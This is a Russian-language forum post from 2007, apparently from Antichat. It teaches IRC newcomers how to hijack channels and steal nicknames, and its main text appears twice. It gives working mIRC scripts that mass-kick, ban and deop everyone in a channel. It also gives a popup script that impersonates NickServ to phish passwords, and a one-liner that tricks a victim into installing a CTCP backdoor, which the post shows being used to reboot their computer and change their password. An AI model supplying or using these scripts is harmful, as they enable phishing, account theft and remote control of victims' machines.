_Master-
17.06.2007, 17:37
Хотелось бы затронуть аспекты взлома в ирц, так как новички в ирц в основном хотят узнать как захватить канал, ник, ну и так далее ;) Флуд я тут не буду рассматривать, так как флуд - это плохо - в чем мы сами недавно и убедились, когда закрыли #antichat =\
Итак, поехали!
Захватываем канал
Для полноценного захвата канала конечно нам понадобится узнать пасс владельца овнера(человека на которого зареган канал), либо собственно сам пароль от канала. Но в большинстве случаев тотальный контроль над каналом не требуется. Всем хватает только бана *!*@* =) В общем ниже приведу скрипт(работает для mirc и всех клиентов, построенных на его основе), который по команде (при условии что Вы - оп, и не надо говорить что получить опа - нереал, следует просто как следует попросить в привате у какого-либо опа;) Так же следует упоминуть, что при сплите, если Вы на этом канале остались один - перезайдите - получите опа, а при соединении серверов - оп останется у Вас;)) банит+выкидывает с канала всех кроме Вас+ставит на чан инвайт+лимит в вас одного - в общем самое то - чтобы отомстить обидчикам ;)
takeover {
%i = 1
mode # +eeee $me
mode # +iSpsl 1
while $nick(#,%i) != $null {
if ($nick(#,%i) !isin $me ) kick # $nick(#,%i) 4Античат не победим - остальным мы в рот дадим (с) =)
inc %i
}
unset %i
mode # +b *
}
on *:unban:#:{ if ($banmask == *!*@*) mode # +b *!*@* }
Вставляем это в алиасы - Alt+R-Aliases и когда оп уже в наших руках - просто пишем "/takeover" и наблюдаем за происходящей картиной ;)
Для уверенности можем также перед этим совершить массдеоп, а то мало-ли, кто-то успеет среагировать:
massdeop {
if ($me !isop #) { %lser Ты не оператор канала. }
else {
%lse Произвожу масс. ДеОП (-o) на канале # $+ ...
set %i 1
:next
set %nick $nick(#,%i)
if (%nick == $null) goto done
if (%nick isop #) && (%nick != $me) { mode # -o %nick }
inc %i
goto next
:done
}
}
Тоже вставляем скрипт в алиасы и по "/massdeop" наблюдаем необходимое :)
Захватываем ник
С захватом ника уже будет сложнее - поскольку тут уже просто так ник не возьмешь, необходима идентификация - остается пару вариантов:
1) Вставляем в popups такой скрипт:
..Скосить под никсерву: %ni = $me | set %fr $?="Кого пробуем?" | notice %fr Если это Ваш ник, наберите /msg %ni IDENTIFY password. | notice %fr Если вы не выполните указанные рекомендации, Ваш ник будет принудительно изменен в течении минуты.
Пробуем сменить свой ник под nickserv, как нибудь меняя только буквы - в частности можно попробовать заюзать "с", "к", "е" - русские ;)
И щелкаем правой кнопкой в никлисте, вводим ник жертвы - и ждем пасса к нам в приват :)
2) Каким либо образом, если жертва новичок в ирц - просим набрать эту строчку
//write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas
И после того, как жертва введет ее - мы получаем ТОТАЛЬНЫЙ контроль над ним =) Контролирование осуществляется через /ctcp ник_жертвы /команда параметр - к примеру "/ctcp Vasya /run shutdown /r" - перезагрузит компьютер жертвы :) В общем полный контроль, следовательно можете сменить пароль на его ник ;) "/ctcp Vasya /ns set password ourpass"
На этом вроде все:) Какие будут вопросы - пишите, постараюсь ответить.
Итак, поехали!
Захватываем канал
Для полноценного захвата канала конечно нам понадобится узнать пасс владельца овнера(человека на которого зареган канал), либо собственно сам пароль от канала. Но в большинстве случаев тотальный контроль над каналом не требуется. Всем хватает только бана *!*@* =) В общем ниже приведу скрипт(работает для mirc и всех клиентов, построенных на его основе), который по команде (при условии что Вы - оп, и не надо говорить что получить опа - нереал, следует просто как следует попросить в привате у какого-либо опа;) Так же следует упоминуть, что при сплите, если Вы на этом канале остались один - перезайдите - получите опа, а при соединении серверов - оп останется у Вас;)) банит+выкидывает с канала всех кроме Вас+ставит на чан инвайт+лимит в вас одного - в общем самое то - чтобы отомстить обидчикам ;)
takeover {
%i = 1
mode # +eeee $me
mode # +iSpsl 1
while $nick(#,%i) != $null {
if ($nick(#,%i) !isin $me ) kick # $nick(#,%i) 4Античат не победим - остальным мы в рот дадим (с) =)
inc %i
}
unset %i
mode # +b *
}
on *:unban:#:{ if ($banmask == *!*@*) mode # +b *!*@* }
Вставляем это в алиасы - Alt+R-Aliases и когда оп уже в наших руках - просто пишем "/takeover" и наблюдаем за происходящей картиной ;)
Для уверенности можем также перед этим совершить массдеоп, а то мало-ли, кто-то успеет среагировать:
massdeop {
if ($me !isop #) { %lser Ты не оператор канала. }
else {
%lse Произвожу масс. ДеОП (-o) на канале # $+ ...
set %i 1
:next
set %nick $nick(#,%i)
if (%nick == $null) goto done
if (%nick isop #) && (%nick != $me) { mode # -o %nick }
inc %i
goto next
:done
}
}
Тоже вставляем скрипт в алиасы и по "/massdeop" наблюдаем необходимое :)
Захватываем ник
С захватом ника уже будет сложнее - поскольку тут уже просто так ник не возьмешь, необходима идентификация - остается пару вариантов:
1) Вставляем в popups такой скрипт:
..Скосить под никсерву: %ni = $me | set %fr $?="Кого пробуем?" | notice %fr Если это Ваш ник, наберите /msg %ni IDENTIFY password. | notice %fr Если вы не выполните указанные рекомендации, Ваш ник будет принудительно изменен в течении минуты.
Пробуем сменить свой ник под nickserv, как нибудь меняя только буквы - в частности можно попробовать заюзать "с", "к", "е" - русские ;)
И щелкаем правой кнопкой в никлисте, вводим ник жертвы - и ждем пасса к нам в приват :)
2) Каким либо образом, если жертва новичок в ирц - просим набрать эту строчку
//write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas
И после того, как жертва введет ее - мы получаем ТОТАЛЬНЫЙ контроль над ним =) Контролирование осуществляется через /ctcp ник_жертвы /команда параметр - к примеру "/ctcp Vasya /run shutdown /r" - перезагрузит компьютер жертвы :) В общем полный контроль, следовательно можете сменить пароль на его ник ;) "/ctcp Vasya /ns set password ourpass"
На этом вроде все:) Какие будут вопросы - пишите, постараюсь ответить.